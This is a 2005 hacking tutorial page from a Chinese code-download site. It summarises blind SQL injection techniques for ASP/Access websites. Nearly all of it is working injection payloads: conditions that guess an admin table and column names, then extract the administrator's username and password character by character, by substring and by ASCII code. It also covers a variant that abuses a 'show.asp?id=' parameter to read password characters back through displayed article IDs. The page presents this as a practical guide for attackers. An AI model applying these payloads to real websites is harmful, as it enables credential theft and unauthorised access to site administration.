全球第一免费源码下载基地!
首 页文章中心下载中心繁體中文
首页 ASP源码 | PHP源码 | CGI源码 | JSP源码 | .NET源码 | flash源码 | 其它源码 | 网页模板 | 常用软件 | 字体下载 | 视频教程
站长学院 | 网络编程 | 网页设计 | 图形图像 | 操作系统 | 数据库 | 多媒体 | 黑客攻防 | 编程开发 | Seo专区 | 小说连载
您当前的位置:中文源码之家 -> 黑客攻防 -> 基础知识 -> 文章内容 退出登录 用户管理
栏目导航
· 基础知识 · 安全防范
· 其他相关 · 防 火 墙
· 破解学院
热门文章
· [推荐] 卡巴斯基v6.0..
· [新闻] 超级解霸3500..
· [推荐] 冰点还原精灵..
· [组图] 一键GHOST硬盘..
· [组图] PQMagic──硬..
· [新闻] 2006年世界顶..
· [图文] 一键GHOST 优..
· [推荐] 征途小宝外挂..
· [新闻] 下载:IE 7 简..
· ASP自动解压RAR文件..
相关文章
· [推荐] Request.form..
· asp下用OracleInPro..
· 一个asp函数, 解决..
· Internet Explorer ..
· 用ISAPIfilter使INC..
· 如何让你的ASP运行于..
· ASP编程入门进阶(十..
· ASP Function in co..
· 用ASP的安全验证来对..
· asp下用OracleInPro..
精彩激情游戏推荐
Injection的猜测技术的一些相关总结
作者:无从考证  来源:中国站长学院  发布时间:2005-8-28 11:49:33  发布人:hncj

减小字体 增大字体

学习的最好方法就是定期总结自己的学习笔记:)开始吧

通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了

在前阵子发的本周日程中列入了以下的计划 现在把他完善

先说我们通过
0<>(select count(*) from admin)
这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了
0<>(select count(*) from admin where username<>'')
猜测admin表里用来存放用户名的列叫username
0<>(select count(*) from admin where password<>'')
猜测admin表里用来存放密码的列叫password
假设已经对了 此时我们就可以在页面直接用
and 'EvilOctal''=(select username from admin where username='EvilOctal')
猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到
仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了

<1>可以找到管理员用户名的情况下进行直接猜解密码
密码长度我们猜测是5位
and 'EvilOctal'=(select username from admin where len(password)=5)
密码的前5位是admin
and 'EvilOctal'=(select username from admin where left(password,5)='admin')

<2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名
已经无法在页面找到管理员的名字了 那就这样
and 1=(select min(id) from admin)
假设对了我们就知道管理员的最小id是1 那就猜测名字长度
and 1=(select min(id) from admin where len(username)=9)
管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v
and 1=(select min(id) from admin where mid(username,2,1)='v')
假设全部猜测出来 EvilOctal 现在来看密码
and 1=(select min(id) from admin where len(password)>7)
以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n
and 1=(select min(id) from admin where mid(password,5,1)='n')

<3>管理员密码中文的情况下使用ascii转换进行猜测
至于转换ascii猜测的方法
取得id后可以这样使用你所取得的id 这里假设是1
那么 用户名长度就应该这样猜
and 1=(select id from admin where len(admin)=9)
然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用
and 1=(select id from admin where asc(mid(admin,2,1))=116)
and 1=(select min(id) from admin where mid(username,2,1)='t')
至于密码 看 以下两句都是说猜测密码的第2位是t
and 1=(select id from admin where asc(mid(password,2,1))=116)
and 1=(select min(id) from admin where mid(password,2,1)='t')

以上就是我的一点小总结 希望能在注入中有所提高......

下面是论坛高手oldduck说的一个新思路的小方法
也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了
高手oldduck的话:
找到一个页面可以显示新闻的漏洞页面,比如show.asp?id=123
然后用
show.asp?id=(select top 1 len(password) from admin)
假设有新闻成功显示
字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接
假设是show.asp?id=6 那么长度就是6

然后猜1到6位的密码
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)
用同样的方法找到链接 看id值 再从ascii表中查出字符

如果显示找不到新闻的话 可以用
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10)
这样来加一个基数 或者减一个数
......

方法真是coolB了

[] [返回上一页] [打 印] [收 藏]
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图
Copyright 2005-2006 Chcodes.Com.中文源码之家 All Rights Reserved .
Powered by:NewAsp SiteManageSystem Version 2.1 SP1 1030